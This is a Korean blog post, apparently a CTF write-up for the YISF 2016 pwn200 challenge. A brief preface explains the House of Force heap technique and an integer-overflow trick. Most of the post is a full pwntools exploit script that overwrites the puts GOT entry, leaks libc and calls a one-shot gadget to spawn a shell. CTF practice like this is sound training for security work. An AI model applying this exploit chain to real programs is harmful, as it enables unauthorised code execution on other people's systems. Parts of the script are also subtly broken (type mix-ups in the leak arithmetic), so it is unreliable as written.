Notice
Recent Posts
Recent Comments
Link
«   2025/05   »
1 2 3
4 5 6 7 8 9 10
11 12 13 14 15 16 17
18 19 20 21 22 23 24
25 26 27 28 29 30 31
Tags
more
Archives
Today
Total
관리 메뉴

cdor1's lab

YISF 2016 pwn200 본문

Security/Pwnable

YISF 2016 pwn200

Cdor1 2017. 1. 21. 01:37

후기 : 대회때 100점짜리까지 풀고 다른분야 보느라 신경을 못썼던 문제가 떠올라서 오늘 풀어봤다.

HOF를 이용한 문제였다.

내가 덮고싶은 주소가 topchunk주소보다 위에있어서 고생했었는데

오늘 낙현이한테 듣고 앞부분에 0x100000000(32비트기준)을 더해줘서 양수를 만들고 integer overflow를 이용해서 덮을 수 있음을 알았다.

thanks to mathboy7 


from pwn import *
s = remote('localhost', 4000)
elf = ELF('/home/cdor1/pwnable/ascii_art')
print s.recvuntil('Please enter your .bmp size : ')
s.sendline('40')

print s.recvuntil('heap address : 0x')
heap = int(s.recvuntil('\n')[:-1],16)
top_chunk = heap + 0x30
hof_size = 0x100000000 + (0x0804B06C - top_chunk - 0xc)
log.info('heap : ' + hex(heap))
log.info('top_chunk : ' + hex(top_chunk))
log.info('hof_size : ' + hex(hof_size))
pay1 = 'A'*44
pay1 += p32(0xffffffff)
s.sendline(pay1)
print s.recvuntil('Do you want to continue( yes / no )? ')
s.sendline('yes')

print s.recvuntil('Please enter your .bmp size : ')
s.sendline(str(int(hof_size)))
print s.recvuntil('Input(.bmp) : ')
s.sendline('')
print s.recvuntil('Do you want to continue( yes / no )? ')
s.sendline('yes')

print s.recvuntil('Please enter your .bmp size : ')
s.sendline('4')
print s.recvuntil('Input(.bmp) : ')
s.sendline(p32(elf.got['puts']))
print s.recvuntil('Do you want to continue( yes / no )? ')
s.sendline('yes')

print s.recvuntil('Please enter your .bmp size : ')
fake2 = 0x100000000 + (0x0804B01C - 0x0804B06C - 0xc)
s.sendline(fake2)
print s.recvuntil('Input(.bmp) : ')
s.sendline('')
print s.recvuntil('input size : ')
leak = s.recvuntil('\n')[:-1]
base = leak - 0x6FD60
oneshot = base + 0x46428
log.info('puts : ' + hex(leak))
log.info('base : ' + hex(base))
log.info('oneshot : ' + hex(oneshot))
print s.recvuntil('Do you want to continue( yes / no )? ')
s.sendline('yes')

print s.recvuntil('Please enter your .bmp size : ')
s.sendline('4')
print s.recvuntil('Input(.bmp) : ')
s.sendline(p32(oneshot))
s.interactive()


'Security > Pwnable' 카테고리의 다른 글

H3X0R CTF be_rich  (0) 2017.01.24
pwnable.tw start  (0) 2017.01.24
WITHCON Final jnjn  (0) 2017.01.20
HITCON 2014 stkof  (0) 2017.01.20
TJCTF blag  (0) 2017.01.19
Comments